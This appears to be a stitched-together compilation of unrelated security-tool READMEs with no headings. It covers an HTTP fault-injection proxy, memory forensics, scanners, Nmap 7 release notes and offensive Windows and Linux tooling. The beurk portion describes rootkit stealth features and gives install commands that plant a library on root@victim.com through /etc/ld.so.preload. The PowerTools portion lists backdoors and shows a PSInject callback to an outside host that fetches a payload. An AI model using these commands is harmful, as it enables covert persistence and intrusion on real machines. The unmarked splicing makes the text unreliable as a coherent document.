• Full-featured HTTP/S proxy (backed by rocky and http-proxy )
• Hackable and elegant programmatic API (inspired on connect/express)
• Admin HTTP API for external management and dynamic configuration
• Featured built-in router with nested configuration
• Hierarchical and composable poisoning with rule based filtering
• Hierarchical middleware layer (both global and route scopes)
• Easily augmentable via middleware (based on connect/express middleware)
• Supports both incoming and outgoing traffic poisoning
• Built-in poisons (bandwidth, error, abort, latency, slow read...)
• Rule-based poisoning (probabilistic, HTTP method, headers, body...)
• Supports third-party poisons and rules
• Built-in balancer and traffic interceptor via middleware
• Inherits API and features from rocky
• Compatible with connect/express (and most of their middleware)
• Able to run as standalone HTTP proxy

↓  ( Incoming request )  ↓
↓          |||           ↓
↓    +-------------+     ↓
↓    | Toxy Router |     ↓ -> Match the incoming request
↓    +-------------+     ↓
↓          |||           ↓
↓ +--------------------+ ↓
↓ |   Incoming phase   | ↓ -> The proxy receives the request from the client
↓ |~~~~~~~~~~~~~~~~~~~~| ↓
↓ |  ----------------  | ↓
↓ |  |  Exec Rules  |  | ↓ -> Apply configured rules for the incoming request
↓ |  ----------------  | ↓
↓ |        |||         | ↓
↓ |  ----------------  | ↓
↓ |  | Exec Poisons |  | ↓ -> If all rules passed, then poison the HTTP flow
↓ |  ----------------  | ↓
↓ +~~~~~~~~~~~~~~~~~~~~+ ↓
↓        /      \        ↓
↓        \      /        ↓
↓ +--------------------+ ↓
↓ |  HTTP dispatcher   | ↓ -> Forward the HTTP traffic to the target server, either poisoned or not
↓ +--------------------+ ↓
↓        /      \        ↓
↓        \      /        ↓
↓ +--------------------+ ↓
↓ |   Outgoing phase   | ↓ -> Receives response from target server
↓ |~~~~~~~~~~~~~~~~~~~~| ↓
↓ |  ----------------  | ↓
↓ |  |  Exec Rules  |  | ↓ -> Apply configured rules for the outgoing request
↓ |  ----------------  | ↓
↓ |        |||         | ↓
↓ |  ----------------  | ↓
↓ |  | Exec Poisons |  | ↓ -> If all rules passed, then poison the HTTP flow before send it to the client
↓ |  ----------------  | ↓
↓ +~~~~~~~~~~~~~~~~~~~~+ ↓
↓          |||           ↓
↓ ( Send to the client ) ↓ -> Finally, send the request to the client, either poisoned or not

npm install toxy

var toxy = require('toxy')
var poisons = toxy.poisons
var rules = toxy.rules

// Create a new toxy proxy
var proxy = toxy()

// Default server to forward incoming traffic
proxy
  .forward('http://httpbin.org')

// Register global poisons and rules
proxy
  .poison(poisons.latency({ jitter: 500 }))
  .rule(rules.probability(25))

// Register multiple routes
proxy
  .get('/download/*')
  .forward('http://files.myserver.net')
  .poison(poisons.bandwidth({ bps: 1024 }))
  .withRule(rules.headers({'Authorization': /^Bearer (.*)$/i }))

// Infect outgoing traffic only (after the server replied properly)
proxy
  .get('/image/*')
  .outgoingPoison(poisons.bandwidth({ bps: 512 }))
  .withRule(rules.method('GET'))
  .withRule(rules.timeThreshold({ duration: 1000, threshold: 1000 * 10 }))
  .withRule(rules.responseStatus({ range: [ 200, 400 ] }))

proxy
  .all('/api/*')
  .poison(poisons.rateLimit({ limit: 10, threshold: 1000 }))
  .withRule(rules.method(['POST', 'PUT', 'DELETE']))
  // And use a different more permissive poison for GET requests
  .poison(poisons.rateLimit({ limit: 50, threshold: 1000 }))
  .withRule(rules.method('GET'))

// Handle the rest of the traffic
proxy
  .all('/*')
  .poison(poisons.slowClose({ delay: 1000 }))
  .poison(poisons.slowRead({ bps: 128 }))
  .withRule(rules.probability(50))

proxy.listen(3000)
console.log('Server listening on port:', 3000)
console.log('Test it:', 'http://localhost:3000/image/jpeg')

• options object
  • jitter number - Jitter value in miliseconds
  • max number - Random jitter maximum value
  • min number - Random jitter minimum value

toxy.poison(toxy.poisons.latency({ jitter: 1000 }))
// Or alternatively using a random value
toxy.poison(toxy.poisons.latency({ max: 1000, min: 100 }))

• options object
  • code number - Response HTTP status code. Default 500
  • headers object - Optional headers to send
  • body mixed - Optional body data to send. It can be a buffer or string
  • encoding string - Body encoding. Default to utf8

toxy.poison(toxy.poisons.inject({
  code: 503,
  body: '{"error": "toxy injected error"}',
  headers: {'Content-Type': 'application/json'}
}))

• options object
  • bytes number - Amount of chunk of bytes to send. Default 1024
  • threshold number - Packets time frame in miliseconds. Default 1000

toxy.poison(toxy.poisons.bandwidth({ bytes: 512 }))

• options object
  • limit number - Total amount of requests. Default to 10
  • threshold number - Limit time frame in miliseconds. Default to 1000
  • message string - Optional error message when limit is reached.
  • code number - HTTP status code when limit is reached. Default to 429 .

toxy.poison(toxy.poisons.rateLimit({ limit: 5, threshold: 10 * 1000 }))

• options object
  • chunk number - Packet chunk size in bytes. Default to 1024
  • threshold number - Limit threshold time frame in miliseconds. Default to 1000

toxy.poison(toxy.poisons.slowRead({ chunk: 2048, threshold: 1000 }))

• options object
  • delay number - Delay connection in miliseconds. Default to 1000

toxy.poison(toxy.poisons.slowOpen({ delay: 2000 }))

• options object
  • delay number - Delay time in miliseconds. Default to 1000

toxy.poison(toxy.poisons.slowClose({ delay: 2000 }))

• options object
  • chunk number - Packet chunk size in bytes. Default to 1024
  • delay object - Data chunk delay time frame in miliseconds. Default to 100

toxy.poison(toxy.poisons.throttle({ chunk: 2048, threshold: 1000 }))

• options object
  • delay number - Aborts TCP connection after waiting the given miliseconds. Default to 0
  • next boolean - If true , the connection will be aborted if the target server takes more than the delay param time to reply. Default to false
  • error Error - Custom internal node.js error to use when destroying the socket. Default to null

// Basic connection abort
toxy.poison(toxy.poisons.abort())
// Abort after a delay
toxy.poison(toxy.poisons.abort(1000))
// In this case, the socket will be closed if
// the target server takes more than
// 2 seconds to respond
toxy.poison(toxy.poisons.abort({ delay: 2000, next: true }))

• miliseconds number - Timeout limit in miliseconds

toxy.poison(toxy.poisons.timeout(5000))

var toxy = require('toxy')

function customLatency(delay) {
  /**
   * We name the function since toxy uses it as identifier to get/disable/remove it in the future
   */
  return function customLatency(req, res, next) {
    var timeout = setTimeout(clean, delay)
    req.once('close', onClose)

    function onClose() {
      clearTimeout(timeout)
      next('client connection closed')
    }

    function clean() {
      req.removeListener('close', onClose)
      next()
    }
  }
}

var proxy = toxy()

// Register and enable the poison
proxy
  .get('/foo')
  .poison(customLatency(2000))

toxy.addPoison(customLatency)

// Then you can use it as a built-in poison
proxy
  .get('/foo')
  .poison(toxy.poisons.customLatency)

• percentage number - Percentage of filtering. Default 50

var rule = toxy.rules.probability(85)
toxy.rule(rule)

• options object
  • duration number - Enable time inverval in miliseconds. Default to 1000
  • threshold number - Time threshold in miliseconds to wait before re-enable the poisoning. Default to 10000

// Enable the poisoning only 100 miliseconds per each 10 seconds
proxy.rule(toxy.rules.timeThreshold(100))
// Enable poisoning during 1 second every minute
proxy.rule(toxy.rules.timeThreshold({ duration: 1000, period: 1000 * 60 }))

• method string|array - Method or methods to filter.

var method = toxy.rules.method(['GET', 'POST'])
toxy.rule(method)

• value string|regexp - Header value to match.

var rule = toxy.rules.contentType('application/json')
toxy.rule(rule)

• headers object - Headers to match by key-value pair. value can be a string, regexp, boolean or function(headerValue, headerName) => boolean

var matchHeaders = {
  'content-type': /^application/\json/i,
  'server': true, // meaning it should be present,
  'accept': function (value, key) {
    return value.indexOf('text') !== -1
  }
}

var rule = toxy.rules.headers(matchHeaders)
toxy.rule(rule)

• headers object - Headers to match by key-value pair. value can be a string , regexp , boolean or function(headerValue, headerName) => boolean

var matchHeaders = {
  'content-type': /^application/\json/i,
  'server': true, // meaning it should be present,
  'accept': function (value, key) {
    return value.indexOf('text') !== -1
  }
}

var rule = toxy.rules.responseHeaders(matchHeaders)
toxy.rule(rule)

• match string|regexp|function - Body content to match
• limit string - Optional. Body limit in human size. E.g: 5mb
• encoding string - Body encoding. Default to utf8
• length number - Body length. Default taken from Content-Length header

var rule = toxy.rules.body('"hello":"world"')
toxy.rule(rule)

// Or using a filter function returning a boolean
var rule = toxy.rules.body(function contains(body) {
  return body.indexOf('hello') !== -1
})
toxy.rule(rule)

• match string|regexp|function - Body content to match
• encoding string - Body encoding. Default to utf8
• length number - Body length. Default taken from Content-Length header

var rule = toxy.rules.responseBody('"hello":"world"')
toxy.rule(rule)

// Or using a filter function returning a boolean
var rule = toxy.rules.responseBody(function contains(body) {
  return body.indexOf('hello') !== -1
})
toxy.rule(rule)

• range array - Pair of status code range to match. Default [200, 300] .
• lower number - Compare status as lower than operation. Default to null .
• higher number - Compare status as higher than operation. Default to null .
• value number - Status code to match using a strict equality comparison. Default null .
• include array - Unordered list of status codes to match. Useful to specify custom status. Default null

// Strict evaluation of the status code
toxy.rule(toxy.rules.responseBody(200))
// Using a range of valid status
toxy.rule(toxy.rules.responseBody([200, 204]))
// Using relational comparison
toxy.rule(toxy.rules.responseBody({ higher: 199, lower: 400 }))
// Custom unordered status code to match
toxy.rule(toxy.rules.responseBody({ include: [200, 204, 400, 404] }))

• IP - Enable/disable poisons based on the client IP address (supports CIDR, subnets, ranges...).

var toxy = require('toxy')

function customMethodRule(matchMethod) {
  /**
   * We name the function since it's used by toxy to identify the rule to get/disable/remove it in the future
   */
  return function customMethodRule(req, res, next) {
    var shouldIgnore = req.method !== matchMethod
    next(null, shouldIgnore)
  }
}

var proxy = toxy()

// Register and enable the rule
proxy
  .get('/foo')
  .rule(customMethodRule('GET'))
  .poison(/* ... */)

toxy.addRule(customMethodRule)

// Then you can use it as a built-in poison
proxy
  .get('/foo')
  .rules(toxy.rules.customMethodRule)

var toxy = require('toxy')

toxy({ forward: 'http://server.net', timeout: 30000 })

toxy
  .get('/foo')
  .poison(toxy.poisons.latency(1000))
  .withRule(toxy.rules.contentType('json'))
  .forward('http://foo.server')

toxy
  .post('/bar')
  .poison(toxy.poisons.bandwidth({ bps: 1024 }))
  .withRule(toxy.rules.probability(50))
  .forward('http://bar.server')

toxy
  .post('/boo')
  .outgoingPoison(toxy.poisons.bandwidth({ bps: 1024 }))
  .withRule(toxy.rules.method('GET'))
  .forward('http://boo.server')

toxy.all('/*')

toxy.listen(3000)

var toxy = require('toxy')
var proxy = toxy()

// Now using the global API
proxy
  .forward('http://server.net')
  .poison(toxy.poisons.bandwidth({ bps: 1024 }))
  .rule(toxy.rules.method('GET'))

// Now create a route
var route = proxy
  .get('/foo')
  .toPath('/bar') // Route-level API method
  .host('server.net') // Route-level API method
  .forward('http://new.server.net')

// Now using the ToxyRoute interface
route
  .poison(toxy.poisons.bandwidth({ bps: 512 }))
  .rule(toxy.rules.contentType('json'))

const toxy = require('toxy')

// Create the toxy admin server
var admin = toxy.admin({ cors: true })
admin.listen(9000)

// Create the toxy proxy
var proxy = toxy()
proxy.listen(3000)

// Add the toxy instance to be managed by the admin server
admin.manage(proxy)

// Then configure the proxy
proxy
  .forward('http://my.target.net')

proxy
  .get('/slow')
  .poison(toxy.poisons.bandwidth({ bps: 1024 }))

// Handle the rest of the traffic
proxy
  .all('/*')
  .poison(toxy.poisons.bandwidth({ bps: 1024 * 5 }))

console.log('toxy proxy listening on port:', 3000)
console.log('toxy admin server listening on port:', 9000)

const toxy = require('toxy')

const opts = { apiKey: 's3cr3t' }
var admin = toxy.admin(opts)

admin.listen(9000)
console.log('protected toxy admin server listening on port:', 9000)

• Servers - Managed toxy instances
  • Rules - Globally applied rules
  • Poisons - Globally applied poisons
    • Rules - Poison-specific rules
  • Routes - List of configured routes
    • Route - Object for each specific route
      • Rules - Route-level registered rules
      • Poisons - Route-level registered poisons
        • Rules - Route-level poison-specific rules

{
  "name": "method",
  "options": "GET"
}

{
  "name": "latency",
  "phase": "outgoing",
  "options": { "jitter": 1000 }
}

{
  "name": "method",
  "options": "GET"
}

{
  "path": "/foo", // Required
  "method": "GET", // use ALL for all the methods
  "forward": "http://my.server", // Optional custom forward server URL
}

{
  "name": "method",
  "options": "GET"
}

{
  "name": "latency",
  "phase": "outgoing",
  "options": { "jitter": 1000 }
}

{
  "name": "method",
  "options": "GET"
}

• apiKey string - Optional API key to protect the server
• port number - Optional. TCP port to listen
• cors boolean - Enable CORS for web browser access
• middleware array<function> - Plug in additional middleware
• ssl object - Node.js HTTPS server TLS options .

  pip -V

  curl https://bootstrap.pypa.io/get-pip.py -o - | python

  sudo pip install git+git://github.com/RandomStorm/Bluto

  bluto

  sudo pip install git+git://github.com/RandomStorm/Bluto --upgrade

• SQL Injection (SQLI)
• Cross-site scripting (XSS)
• Remote File Inclusion (RFI)
• Local File Inclusion (LFI)
• Directory Traversal or Path Traversal (DT/PT)
• Source Code Disclosure (SCD)
• OS Command Injection (OSCI)
• PHP Code Injection

• Code Analyzer: composed by the tree generator and taint analyzer. The tool has integrated a lexer and a parser generated by ANTLR, and based in a grammar and a tree grammar written to PHP language. The tree generator uses the lexer and the parser to build the AST (Abstract Sintatic Tree) to each PHP file. The taint analyzer performs the taint analysis navigating through the AST to detect potentials vulnerabilities.


• False Positives Predictor: composed by a supervised trained data set with instances classified as being vulnerabilities and false positives and by the Logistic Regression machine learning algorithm. For each potential vulnerability detected by code analyzer, this module collects the presence of the attributes that define a false positive. Then, the Logistic Regression algorithm receives them and classifies the instance as being a false positive or not (real vulnerability).


• Code Corrector: Each real vulnerability is removed by correction of its source code. This module for the type of vulnerability selects the fix that removes the vulnerability and signalizes the places in the source code where the fix will be inserted. Then, the code is corrected with the insertion of the fixes and new files are created.     

• Full Android memory acquisition
• Acquisition over network interface
• Minimal process footprint

insmod ./lime.ko "path=<outfile | tcp:<port>> format=<raw|padded|lime> [dio=<0|1>]"

path (required):   outfile ~ name of file to write to on local system (SD Card)
        tcp:port ~ network port to communicate over

format (required): raw ~ concatenates all System RAM ranges
        padded ~ pads all non-System RAM ranges with 0s
        lime ~ each range prepended with fixed-size header containing address space info

dio (optional):    1 ~ attempt to enable Direct IO
        0 ~ default, do not attempt Direct IO

localhostonly (optional):  1 restricts the tcp to only listen on localhost, 0 binds on all interfaces (default)

$ adb push lime.ko /sdcard/lime.ko
$ adb forward tcp:4444 tcp:4444
$ adb shell
$ su
# insmod /sdcard/lime.ko "path=tcp:4444 format=lime"

$ nc localhost 4444 > ram.lime

# insmod /sdcard/lime.ko "path=/sdcard/ram.lime format=lime"

• Docker >=1.8 (required for file upload API)
• Go >=1.4
• godep

# set your $GOPATH
go get github.com/codetainerapp/codetainer  
# you may get errors about not compiling due to Asset missing, it's ok. bindata.go needs to be created
# by `go generate` first.
cd $GOPATH/src/github.com/codetainerapp/codetainer
# make install_deps  # if you need the dependencies like godep
make

DOCKER_OPTS="-H tcp://127.0.0.1:4500 -H unix:///var/run/docker.sock"

# Docker API server and port
DockerServer = "localhost"
DockerPort = 4500

# Enable TLS support (optional, if you access to Docker API over HTTPS)
# DockerServerUseHttps = true
# Certificate directory path (optional)
#   e.g. if you use Docker Machine: "~/.docker/machine/certs"
# DockerCertPath = "/path/to/certs"

# Database path (optional, default is ~/.codetainer/codetainer.db)
# DatabasePath = "/path/to/codetainer.db"

$ sudo docker pull ubuntu:14.04
$ codetainer image register ubuntu:14.04
$ codetainer create ubuntu:14.04 my-codetainer-name
$ codetainer server  # to start the API server on port 3000

1. Copy codetainer.js to your webapp.
2. Include codetainer.js and jquery in your web page. Create a div to house the codetainer terminal iframe (it's #terminal in the example below).
   

   <!DOCTYPE html>
   <html>
   <head>
   <meta charset="UTF-8">
   <title>lsof tutorial</title>
   <link rel='stylesheet' href='/stylesheets/style.css' />
   <script src="http://code.jquery.com/jquery-1.10.1.min.js"></script>
   <script src="/javascripts/codetainer.js"></script>
   <script src="/javascripts/lsof.js"></script>
   </head>
   <body>
   <div id="terminal" data-container="YOUR CODETAINER ID HERE"> 
   </body>
   </html> 

3. Run the javascript to load the codetainer iframe from the codetainer API server (supply data-container as the id of codetainer on the div, or supply codetainer in the constructor options).
   

 $('#terminal').codetainer({
     terminalOnly: false,                 // set to true to show only a terminal window 
     url: "http://127.0.0.1:3000",        // replace with codetainer server URL
     container: "YOUR CONTAINER ID HERE",
     width: "100%",
     height: "100%",
  });

• Hide attacker files and directories
• Realtime log cleanup (on utmp/wtmp )
• Anti process and login detection
• Bypass unhide, lsof, ps, ldd, netstat analysis
• Furtive PTY backdoor client

• ptrace(2) hooking for anti-debugging
• libpcap hooking undermines local sniffers
• PAM backdoor for local privilege escalation

• Compile

    git clone https://github.com/unix-thrust/beurk.git
    cd beurk
    make

• Install

    scp libselinux.so root@victim.com:/lib/
    ssh root@victim.com 'echo /lib/libselinux.so >> /etc/ld.so.preload'

• Enjoy !

    ./client.py victim_ip:port # connect with furtive backdoor

• libpcap - to avoid local sniffing
• libpam - for local PAM backdoor
• libssl - for encrypted backdoor connection

    apt-get install libpcap-dev libpam-dev libssl-dev

bwall@ragnarok:~$ ./pemcracker 
pemcracker 0.1.0
pemcracker <path to pem> <word file>

pemcracker 0.1.0 by Brian Wallace (@botnet_hunter)

bwall@ragnarok:~/data/publicprojects/pemcracker$ ./pemcracker test.pem test.dict
Password is komodia for test.pem

make

• PowerUp
• PowerBreach
• PowerPick
• PewPewPew
• PowerView

Get-ServiceUnquoted             -   returns services with unquoted paths that also have a space in the name
Get-ServiceFilePermission       -   returns services where the current user can write to the service binary path or its config
Get-ServicePermission           -   returns services the current user can modify

Invoke-ServiceUserAdd           -   modifies a modifiable service to create a user and add it to the local administrators
Invoke-ServiceCMD               -   execute an arbitrary command through service abuse
Write-UserAddServiceBinary      -   writes out a patched C# service binary that adds a local administrative user
Write-CMDServiceBinary          -   writes out a patched C# binary that executes a custom command
Write-ServiceEXE                -   replaces a service binary with one that adds a local administrator user
Write-ServiceEXECMD             -   replaces a service binary with one that executes a custom command
Restore-ServiceEXE              -   restores a replaced service binary with the original executable
Invoke-ServiceStart             -   starts a given service
Invoke-ServiceStop              -   stops a given service
Invoke-ServiceEnable            -   enables a given service
Invoke-ServiceDisable           -   disables a given service
Get-ServiceDetail               -   returns detailed information about a service

Find-DLLHijack                  -   finds .dll hijacking opportunities for currently running processes
Find-PathHijack                 -   finds service %PATH% .dll hijacking opportunities
Write-HijackDll                 -   writes out a hijackable .dll

Get-RegAlwaysInstallElevated    -   checks if the AlwaysInstallElevated registry key is set
Get-RegAutoLogon                -   checks for Autologon credentials in the registry
Get-VulnAutoRun                 -   checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns

Get-VulnSchTask                 -   find schtasks with modifiable target files
Get-UnattendedInstallFile       -   finds remaining unattended installation files
Get-Webconfig                   -   checks for any encrypted web.config strings
Get-ApplicationHost             -   checks for encrypted application pool and virtual directory passwords
Write-UserAddMSI                -   write out a MSI installer that prompts for a user to be added
Invoke-AllChecks                -   runs all current escalation checks and returns a report

Add-PSFirewallRules - Adds powershell to the firewall on 65K ports. Required Admin
Invoke-CallbackIEX - The location for the various callback mechanisms. Calls back and executes encoded payload.

Invoke-EventLogBackdoor: Monitors for failed RDP login attempts. Admin-Yes, Firewall-No, Auditing Reqd
Invoke-PortBindBackdoor: Binds to TCP Port. Admin-No, Firewall-Yes
Invoke-ResolverBackdoor: Resolves name to decide when to callback. Admin-No, Firewall-No
Invoke-PortKnockBackdoor: Starts sniffer looking for trigger. Admin-Yes, Firewall-Yes
Invoke-LoopBackdoor: Callsback on set interval. Admin-No, Firewall-No
Invoke-DeadUserBackdoor: Looks for "dead" user and calls back when does not exist. Admin-No, Firewall-No

http://<host:port/resource> - Perform standard http callback
https://<host:port/resource> - Perform standard https callback
dnstxt://<host> - Resolve DNS text record for host which is the payload

import-module psinject.ps1
Invoke-PSInject -Verbose -ProcID 0000 -CBURL http://1.1.1.1/favicon.ico

sharppick.exe [<flag> <argument>]
flags:
-f <file> : Read script from specified file
-r <resource name> : Read script from specified resource
-d <url> : Read script from URL
-a <delimeter> : Read script appended to current binary after specified delimeter. Delimeter should be very very unique string

Export-PowerViewCSV             -   thread-safe CSV append
Set-MacAttribute                -   Sets MAC attributes for a file based on another file or input (from Powersploit)
Copy-ClonedFile                 -   copies a local file to a remote location, matching MAC properties
Get-IPAddress                   -   resolves a hostname to an IP
Test-Server                     -   tests connectivity to a specified server
Convert-NameToSid               -   converts a given user/group name to a security identifier (SID)
Convert-SidToName               -   converts a security identifier (SID) to a group/user name
Convert-NT4toCanonical          -   converts a user/group NT4 name (i.e. dev/john) to canonical format
Get-Proxy                       -   enumerates local proxy settings
Get-PathAcl                     -   get the ACLs for a local/remote file path with optional group recursion
Get-UserProperty                -   returns all properties specified for users, or a set of user:prop names
Get-ComputerProperty            -   returns all properties specified for computers, or a set of computer:prop names
Find-InterestingFile            -   search a local or remote path for files with specific terms in the name
Invoke-CheckLocalAdminAccess    -   check if the current user context has local administrator access to a specified host
Get-DomainSearcher              -   builds a proper ADSI searcher object for a given domain
Get-ObjectAcl                   -   returns the ACLs associated with a specific active directory object
Add-ObjectAcl                   -   adds an ACL to a specified active directory object
Invoke-ACLScanner               -   enumerate -1000+ modifable ACLs on a specified domain
Get-GUIDMap                     -   returns a hash table of current GUIDs -> display names
Get-DomainSID                   -   return the SID for the specified domain
Invoke-ThreadedFunction         -   helper that wraps threaded invocation for other functions

Get-NetDomain                   -   gets the name of the current user's domain
Get-NetForest                   -   gets the forest associated with the current user's domain
Get-NetForestDomain             -   gets all domains for the current forest
Get-NetDomainController         -   gets the domain controllers for the current computer's domain
Get-NetUser                     -   returns all user objects, or the user specified (wildcard specifiable)
Add-NetUser                     -   adds a local or domain user
Get-NetComputer                 -   gets a list of all current servers in the domain
Get-NetPrinter                  -   gets an array of all current computers objects in a domain
Get-NetOU                       -   gets data for domain organization units
Get-NetSite                     -   gets current sites in a domain
Get-NetSubnet                   -   gets registered subnets for a domain
Get-NetGroup                    -   gets a list of all current groups in a domain
Get-NetGroupMember              -   gets a list of all current users in a specified domain group
Get-NetLocalGroup               -   gets the members of a localgroup on a remote host or hosts
Add-NetGroupUser                -   adds a local or domain user to a local or domain group
Get-NetFileServer               -   get a list of file servers used by current domain users
Get-DFSshare                    -   gets a list of all distribute file system shares on a domain
Get-NetShare                    -   gets share information for a specified server
Get-NetLoggedon                 -   gets users actively logged onto a specified server
Get-NetSession                  -   gets active sessions on a specified server
Get-NetRDPSession               -   gets active RDP sessions for a specified server (like qwinsta)
Get-LastLoggedOn                -   return the last logged on user for a target host
Get-NetProcess                  -   gets the remote processes and owners on a remote server
Get-UserEvent                   -   returns logon or TGT events from the event log for a specified host
Get-ADObject                    -   takes a domain SID and returns the user, group, or computer 
                                    object associated with it
Set-ADObject                    -   takes a SID, name, or SamAccountName to query for a specified
                                    domain object, and then sets a specified 'PropertyName' to a
                                    specified 'PropertyValue'

Get-GptTmpl                     -   parses a GptTmpl.inf to a custom object
Get-NetGPO                      -   gets all current GPOs for a given domain
Get-NetGPOGroup                 -   gets all GPOs in a domain that set "Restricted Groups" 
                                    on on target machines
Find-GPOLocation                -   takes a user/group and makes machines they have effective
                                    rights over through GPO enumeration and correlation
Find-GPOComputerAdmin           -   takes a computer and determines who has admin rights over it
                                    through GPO enumeration
Get-DomainPolicy                -   returns the default domain or DC policy

Invoke-UserHunter               -   finds machines on the local domain where specified users are logged into, and can optionally check if the current user has local admin access to found machines
Invoke-StealthUserHunter        -   finds all file servers utilizes in user HomeDirectories, and checks the sessions one each file server, hunting for particular users
Invoke-ProcessHunter            -   hunts for processes with a specific name or owned by a specific user on domain machines
Invoke-UserEventHunter          -   hunts for user logon events in domain controller event logs

Get-NetDomainTrust              -   gets all trusts for the current user's domain
Get-NetForestTrust              -   gets all trusts for the forest associated with the current user's domain
Find-ForeignUser                -   enumerates users who are in groups outside of their principal domain
Find-ForeignGroup               -   enumerates all the members of a domain's groups and finds users that are outside of the queried domain
Invoke-MapDomainTrust           -   try to build a relational mapping of all domain trusts

Invoke-ShareFinder              -   finds (non-standard) shares on hosts in the local domain
Invoke-FileFinder               -   finds potentially sensitive files on hosts in the local domain
Find-LocalAdminAccess           -   finds machines on the domain that the current user has local admin access to
Find-UserField                  -   searches a user field for a particular term
Find-ComputerField              -   searches a computer field for a particular term
Get-ExploitableSystem           -   finds systems likely vulnerable to common exploits
Invoke-EnumerateLocalAdmin      -   enumerates members of the local Administrators groups across all machines in the domain

$ python gethead.py http://domain.com

• Written in Python 2.7.5
• Performs HTTP Header Analysis
• Reports Header Vulnerabilities

• Support for git updates
• Support for Python 3.3
• Complete Header Analysis
• Additional Logic for Severity Classifications
• Rank Vulnerabilities by Severity
• Export Findings with Description, Impact, Execution, Fix, and References
• Export with multi-format options (XML, HTML, TXT)

• Replay and Inline Upstream Proxy support to import into other tools
• Scan domains, sub-domains, and multi-services
• Header Injection and Fuzzing functionality
• HTTP Header Policy Bypassing
• Modularize and port to more platforms
  (e.g. gMinor, Kali, Burp Extension, Metasploit, Chrome, Firefox)

• This utility works on any version of Windows, starting from Windows 2000 and up to Windows 10, including 64-bit systems.
• One of the following capture drivers is required to use HTTPNetworkSniffer:
  • WinPcap Capture Driver: WinPcap is an open source capture driver that allows you to capture network packets on any version of Windows. You can download and install the WinPcap driver from this Web page.
  • Microsoft Network Monitor Driver version 2.x (Only for Windows 2000/XP/2003): Microsoft provides a free capture driver under Windows 2000/XP/2003 that can be used by HTTPNetworkSniffer, but this driver is not installed by default, and you have to manually install it, by using one of the following options:
    • Option 1: Install it from the CD-ROM of Windows 2000/XP according to the instructions in Microsoft Web site
    • Option 2 (XP Only) : Download and install the Windows XP Service Pack 2 Support Tools. One of the tools in this package is netcap.exe. When you run this tool in the first time, the Network Monitor Driver will automatically be installed on your system.
  • Microsoft Network Monitor Driver version 3.x: Microsoft provides a new version of Microsoft Network Monitor driver (3.x) that is also supported under Windows 7/Vista/2008. 
    The new version of Microsoft Network Monitor (3.x) is available to download from Microsoft Web site.
• You can also try to use HTTPNetworkSniffer without installing any driver, by using the 'Raw Sockets' method. Unfortunately, Raw Sockets method has many problems:
  • It doesn't work in all Windows systems, depending on Windows version, service pack, and the updates installed on your system.
  • On Windows 7 with UAC turned on, 'Raw Sockets' method only works when you run HTTPNetworkSniffer with 'Run As Administrator'. 

1. Major Nmap Scripting Engine (NSE) Expansion

As the Nmap core has matured, more and more new functionality is developed as part of our NSE subsystem instead. In fact, we've added 171 new scripts and 20 libraries since Nmap 6. Exmaples include firewall-bypass, supermicro-ipmi-conf, oracle-brute-stealth, and ssl-heartbleed. And NSE is now powerful enough that scripts can take on core functions such as host discovery (dns-ip6-arpa-scan), version scanning (ike-version, snmp-info, etc.), and RPC grinding (rpc-grind). There's even a proposal to implement port scanning in NSE. [More Details]

2. Mature IPv6 support

IPv6 scanning improvements were a big item in the Nmap 6 release, but Nmap 7 outdoes them all with full IPv6 support for CIDR-style address ranges, Idle Scan, parallel reverse-DNS, and more NSE script coverage. [More Details]

3. Infrastructure Upgrades

We may be an 18-year-old project, but that doesn't mean we'll stick with old, crumbling infrastructure! The Nmap Project continues to adopt the latest technologies to enhance the development process and serve a growing user base. For example, we converted all of Nmap.Org to SSL to reduce the risk of trojan binaries and reduce snooping in general. We've also been using the Git version control system as a larger part of our workflow and have an official Github mirror of the Nmap Subversion source repository and we encourage code submissions to be made as Github pull requests. We also created an official bug tracker which is also hosted on Github. Tracking bugs and enhancement requests this way has already reduced the number which fall through the cracks. [More Details]

4. Faster Scans

Nmap has continually pushed the speed boundaries of synchronous network scanning for 18 years, and this release is no exception. New Nsock engines give a performance boost to Windows and BSD systems, target reordering prevents a nasty edge case on multihomed systems, and NSE tweaks lead to much faster -sV scans. [More Details]

5. SSL/TLS scanning solution of choice

Transport Layer Security (TLS) and its predecessor, SSL, are the security underpinning of the web, so when big vulnerabilities like Heartbleed, POODLE, and FREAK come calling, Nmap answers with vulnerability detection NSE scripts. The ssl-enum-ciphers script has been entirely revamped to perform fast analysis of TLS deployment problems, and version scanning probes have been tweaked to quickly detect the newest TLS handshake versions. [More Details]

6. Ncat Enhanced

We are excited and proud to announce that Ncat has been adopted by the Red Hat/Fedora family of distributions as the default package to provide the "netcat" and "nc" commands! This cooperation has resulted in a lot of squashed bugs and enhanced compatibility with Netcat's options. Also very exciting is the addition of an embedded Lua interpreter for creating simple, cross-platform daemons and traffic filters.

7. Extreme Portability

Nmap is proudly cross-platform and runs on all sorts of esoteric and archaic systems. But our binary distributions have to be kept up-to-date with the latest popular operating systems. Nmap 7 runs cleanly on Windows 10 all the way back to Windows Vista. By popular request, we even built it to run on Windows XP, though we suggest those users upgrade their systems. Mac OS X is supported from 10.8 Mountain Lion through 10.11 El Capitan. Plus, we updated support for Solaris and AIX. And Linux users—you have it easy.

$ ./hsecscan.py 
usage: hsecscan.py [-h] [-P] [-p] [-u URL] [-R] [-U User-Agent]
                   [-d 'POST data'] [-x PROXY]

A security scanner for HTTP response headers.

optional arguments:
  -h, --help            show this help message and exit
  -P, --database        Print the entire response headers database.
  -p, --headers         Print only the enabled response headers from database.
  -u URL, --URL URL     The URL to be scanned.
  -R, --redirect        Print redirect headers.
  -U User-Agent, --useragent User-Agent
                        Set the User-Agent request header (default: hsecscan).
  -d 'POST data', --postdata 'POST data'
                        Set the POST data (between single quotes) otherwise
                        will be a GET (example: '{ "q":"query string",
                        "foo":"bar" }').
  -x PROXY, --proxy PROXY
                        Set the proxy server (example: 192.168.1.1:8080).

$ ./hsecscan.py -u https://google.com
>> RESPONSE INFO <<
URL: https://www.google.com.br/?gfe_rd=cr&ei=Qlg_Vu-WHqWX8QeHraH4DQ
Code: 200
Headers:
 Date: Sun, 08 Nov 2015 14:12:18 GMT
 Expires: -1
 Cache-Control: private, max-age=0
 Content-Type: text/html; charset=ISO-8859-1
 P3P: CP="This is not a P3P policy! See http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
 Server: gws
 X-XSS-Protection: 1; mode=block
 X-Frame-Options: SAMEORIGIN
